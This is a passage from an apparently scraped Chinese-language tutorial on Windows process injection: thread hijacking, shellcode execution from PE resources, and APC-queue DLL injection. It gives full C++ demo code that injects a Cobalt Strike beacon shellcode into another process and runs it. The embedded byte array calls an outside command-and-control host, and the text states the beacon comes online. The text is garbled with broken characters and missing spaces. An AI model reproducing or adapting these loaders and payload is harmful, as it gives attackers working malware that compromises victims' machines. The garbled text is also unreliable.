uspendThread、VirtualAllocEx、WriteProcessMemory、SetThreadContext、恢復ResumeThread。這與ProcessHollowing?常相似,但針對的是現(xiàn)有進程,?不是創(chuàng)建處于掛起狀態(tài)的進程。注??法OpenProcess:打開我們想要注?的進程的句柄targetProcessHandle(在我們的例?中是記事本):在?標進程中分配?些可執(zhí)?內(nèi)存VirtualAllocEx使?WriteProcessMemory把shellcode注?內(nèi)存中在?標進程中找到我們要劫持的線程的線程ID。CreateToolhelp32Snapshot可以通過獲取進程信息為指定的進程、進程使?的堆[HEAP]、模塊[MODULE]、線程建??個快照。OpenThread打開要劫持的線程的句柄SuspendThread掛起?標線程GetThreadContext檢索?標線程的上下?更新?標線程的指令指針(RIP寄存器)指向shellcodeSetThreadContext提交被劫持線程的新上下?ResumeThread恢復被劫持的線程完整Dmeo#include<iostream>#include<Windows.h>#include<TlHelp32.h>intmain(){unsignedcharshellcode[]="\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00""\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b""\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48""\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01""\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8""\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b""\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41""\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41""\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff""\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56""\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48""\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50""\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48""\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51""\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b""\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00""\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89""\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00""\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00""\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89""\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba""\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48""\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00""\xe8\x82\xff\xff\xff\x2f\x62\x6f\x6f\x74\x73\x74\x72\x61\x70""\x17\xb6\x03\x13\x4c\x33\xc4\xcb\xfb\xbc\x26\xf4\x68\xde\x1d""\xd4\x68\x67\x37\x57\x7f\x10\xb7\xb9\x00\x41\x63\x63\x65\x70""\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x64\x69\x76\x2d""\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c""\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62""\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20""\xb7\xc9\x85\xc5\x33\x65\xef\x3b\x8a\xba\xb6\x46\x17\x6c\x48""\x7b\x12\xc6\xf5\xac\x98\x9e\xc2\x1c\x42\x83\x50\x9e\xaf\xc6""\xc5\x55\xb4\x28\xd5\x8f\xb7\x55\x94\xe7\xe9\x19\x66\x91\xba""\x94\x67\xc1\xcb\x8a\x3d\xf0\x4b\xb5\xbe\xe6\xf4\x28\xf3\x30""\x26\x18\x10\x26\x11\x18\x44\x85\x6d\x14\xc6\x1f\xe8\xd4\x2c""\x58\x93\x36\xd2\x8e\xa6\xd4\x8c\x10\x46\xc7\x1f\xb4\x17\xd1""\x6e\x54\x5d\xdb\x87\x81\xbd\xb1\x7a\x31\xb4\x2a\x76\x02\xbf""\x6d\x4c\x1a\x6c\x8f\xaf\xba\xd6\xcd\x3f\xb2\x9f\x2e\xe2\x61""\x94\xd2\xeb\x0e\x11\x71\x78\xfe\x2c\xb7\x91\xfe\xa7\x91\x3a""\x28\xba\x1d\xbc\x43\x35\x75\xcc\x7a\xf2\x4d\x1b\x16\xc3\xf7""\x25\x28\xec\x26\xf8\x5e\xf8\x04\x8f\x31\x9e\x59\x99\x62\x39""\x27\x05\x75\x26\x84\x20\xca\x3c\x78\x1c\x98\xa3\x39\x00\x41""\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00""\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58""\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1""\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12""\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00""\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x63\x6e\x2e\x61\x70\x69""\x2e\x63\x68\x69\x6e\x61\x64\x64\x2e\x63\x6e\x00\x51\x09\xbf""\x6d";HANDLEtargetProcessHandle;PVOIDremoteBuffer;HANDLEthreadHijacked=NULL;HANDLEsnapshot;THREADENTRY32threadEntry;CONTEXTcontext;DWORDtargetPID=6352;context.ContextFlags=CONTEXT_FULL;threadEntry.dwSize=sizeof(THREADENTRY32);targetProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,targetPID);remoteBuffer=VirtualAllocEx(targetProcessHandle,NULL,sizeofshellcode,(MEM_RESERVE|MEM_COMMIT),PAGE_EXECUTE_READWRITE);WriteProcessMemory(targetProcessHandle,remoteBuffer,shellcode,sizeofshellcode,NULL);//CreateToolhelp32Snapshot可以通過獲取進程信息為指定的進程、進程使?的堆[HEAP]、模塊[MODULE]、線程建??個快照。snapshot=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);Thread32First(snapshot,&threadEntry);while(Thread32Next(snapshot,&threadEntry)){if(threadEntry.th32OwnerProcessID==targetPID){threadHijacked=OpenThread(THREAD_ALL_ACCESS,FALSE,threadEntry.th32ThreadID);break;}}SuspendThread(threadHijacked);GetThreadContext(threadHijacked,&context);context.Rip=(DWORD_PTR)remoteBuffer;SetThreadContext(threadHijacked,&context);ResumeThread(threadHijacked);}例?使?Cobaltstrike?成的Shellcode從PE資源加載和執(zhí)?Shellcode使VisualStudio使PE資源C程序中加載shellcode的技術之?。主要?來執(zhí)??的shellcode。打開VisualStudio,新建項?在解決?案資源管理器中右鍵單擊ResourceFiles并選擇Add>Resource這?使?Cobaltstrike的RAW進?利?注??法在使?資源之前,應?程序必須將其加載到內(nèi)存中。該FindResource和FindResourceEx功能找到?個模塊中的資源和返回的句柄?進制資源數(shù)據(jù)。FindResource按類型和名稱定位資源。FindResourceEx按類型、名稱和語?定位資源。應?程序可以使?FindResource和LoadResource來查找和加載任何類型的資源Demo然后在代碼中定義調(diào)?這個資源?件//#include"pch.h"#include<iostream>#include<Windows.h>#include"resource.h"intmain(){//IDR_METERPRETER_BIN1-istheresourceID-whichcontainsthsshellcode//METERPRETER_BINistheresourcetypenamewechoseearlierwhenembeddingthemeterpreter.binHRSRCshellcodeResource=FindResource(NULL,MAKEINTRESOURCE(IDR_CS_BIN1),L"CS_BIN");DWORDshellcodeSize=SizeofResource(NULL,shellcodeResource);HGLOBALshellcodeResouceData=LoadResource(NULL,shellcodeResource);void*exec=VirtualAlloc(0,shellcodeSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(exec,shellcodeResouceData,shellcodeSize);((void(*)())exec)();return0;}編譯執(zhí)?就可以CobaltStrike成功上線可以看到作為PE資源嵌?的shellcode:這個?法在執(zhí)??些?的shellcode?較適?。\h/en-us/windows/win32/menurc/finding-and-loading-resourcesAPC隊列代碼注?APC是?個簡稱,具體名字叫做異步過程調(diào)?,我們看下MSDN中的解釋,異步過程調(diào)?,屬于是同步對象中的函數(shù)APC,即異步過程調(diào)?(AsynchronousProcedureCall)是函數(shù)(過程)在特定線程中被異步執(zhí)?。在MicrosoftWindows操作系統(tǒng)中,APC是?種并發(fā)機制,?于異步IO或者定時器。每?個線程都有??的APC隊列,可以使?QueueUserAPC函數(shù)把?個APC函數(shù)壓?APC隊列中。當?戶模式的APC壓?線程APC隊列后,該線程并不直接調(diào)?APC函數(shù),除?該線程是處于可通知狀態(tài),調(diào)?的順序為先?先出(FIFO)??梢詤⒖迹篭h/zh-cn/windows/win32/sync/asynchronous-procedure-calls?redirectedfrom=MSDN\h/youyou519/article/details/82355009?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link簡單來說就是:線程在進程內(nèi)執(zhí)?代碼線程可以利?APC隊列異步執(zhí)?代碼每個線程都有?個隊列來存儲所有的APC應?程序可以將APC排隊到給定的線程(取決于權限)當?個線程被調(diào)度時,排隊的APC被執(zhí)?這種技術的缺點是惡意程序不能強制受害者線程執(zhí)?注?的代碼——APC排隊的線程需要進?/處于使?QueueUserAPC和NtTestAlert在本地進程中執(zhí)?可警報的Shellcode狀態(tài)(即SleepEx)這?介紹?下應?程序的APC于?戶模式下是APC隊列,當線程處在alertable狀態(tài)時才去執(zhí)?這些APC函數(shù)。?個線程內(nèi)部使?SignalObjectAndWait、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx或MsgWaitForMultipleObjectsEx等函數(shù)把??掛起時就是進?alertable狀態(tài),此時便會執(zhí)?APC隊列的函數(shù)。當?APC排隊時,它排隊到的線程不會被定向到調(diào)APC函數(shù),除?它處于可報警狀態(tài)當線程調(diào)SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx函數(shù)時,它會進?可報警狀態(tài)如果在APC排隊前滿?等待,則線程將不再處于可報警等待狀態(tài),因此不會執(zhí)APC函數(shù)但是,APC仍處于排隊,因此在線程調(diào)?另?個可報警wait函數(shù)時,將執(zhí)?APC函數(shù)ReadFileExSetWaitableTimerSetWaitableTimerEx和WriteFileEx函數(shù)是使?APC作為完成通知回調(diào)機制來實現(xiàn)的那么使?APC場合的注?就有了,須是多線程環(huán)境下注?的程序必須會調(diào)?上?的那些同步對象.注??法當?標程序執(zhí)?到某?個上?的等待函數(shù)的時候,系統(tǒng)會產(chǎn)??個中斷當線程喚醒的時候,這個線程會優(yōu)先去Apc隊列中調(diào)?回調(diào)函數(shù)我們利?QueueUserApc,往這個隊列中插??個回調(diào)插?回調(diào)的時候,把插?的回調(diào)地址改為LoadLibrary,插?的參數(shù)我們使?VirtualAllocEx申請內(nèi)存,并且寫?進去QueueUserAPC函數(shù)應?程序通過調(diào)QueueUserAPCAPC排隊到?個線程調(diào)?線QueueUserAPC的調(diào)?中的APC函數(shù)的地址APC的隊列是對線程調(diào)?APC函數(shù)的請求。\h/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapcDWORDQueueUserAPC([in]PAPCFUNCpfnAPC,[in]HANDLEhThread,[in]ULONG_PTRdwData);QueueUserAPC函數(shù)的第?個參數(shù)表示執(zhí)?的函數(shù)地址,當開始執(zhí)?該APC的時候,程序就會跳轉(zhuǎn)到該函數(shù)地址執(zhí)?。第?個參數(shù)表示插?APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT訪問權限。第三個參數(shù)表示傳遞給執(zhí)?函數(shù)的參數(shù)。與遠線程注?類似,如果QueueUserAPC函數(shù)的第?個參數(shù),即函數(shù)地址設置的是LoadLibraryA函數(shù)地址,第三個參數(shù),即傳遞參數(shù)設置的是DLL的路徑。那么,當執(zhí)?APC的時候,便會調(diào)?LoadLibraryA函數(shù)加載指定路徑的DLL,完成DLL注?操作。?個進程中,包含有多個線程,為了確保插?的APC能夠被執(zhí)?,所以,向?標進程的所有線程都插?相同的APC,實現(xiàn)加載DLL的操作。這樣,只要進程中任意線程被喚醒,開始執(zhí)?APC的時候,便會執(zhí)?插?的APC,實現(xiàn)DLL注?。那么,實現(xiàn)APC注?的具體流程如下所示。?先,通過OpenProcess函數(shù)打開?標進程,獲取?標進程的句柄。然后,通過調(diào)?WIN32API函數(shù)CreateToolhelp32Snapshot、Thread32First以及Thread32Next遍歷線程快照,獲取?標進程的所有線程ID。接著,調(diào)?VirtualAllocEx函數(shù)在?標進程中申請?塊內(nèi)存,并通過WriteProcessMemory函數(shù)向內(nèi)存中寫?注?的DLL路徑。最后,遍歷上述獲取的線程ID,并調(diào)?OpenThread函數(shù)以THREAD_ALL_ACCESS訪問權限打開線程,獲取線程句柄。并調(diào)?QueueUserAPC函數(shù)向線程插?APC函數(shù),設置APC函數(shù)的地址為LoadLibraryA函數(shù)的地址,并設置APC函數(shù)參數(shù)為上述DLL路徑地址。Demo//APC注?BOOLApcInjectDll(char*pszProcessName,char*pszDllName){BOOLbRet=FALSE;DWORDdwProcessId=0;DWORD*pThreadId=NULL;DWORDdwThreadIdLength=0;HANDLEhProcess=NULL,hThread=NULL;PVOIDpBaseAddress=NULL;PVOIDpLoadLibraryAFunc=NULL;SIZE_TdwRet=0,dwDllPathLen=1+::lstrlen(pszDllName);DWORDi=0;do{//根據(jù)進程名稱獲取PIDdwProcessId=GetProcessIdByProcessName(pszProcessName);if(0

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論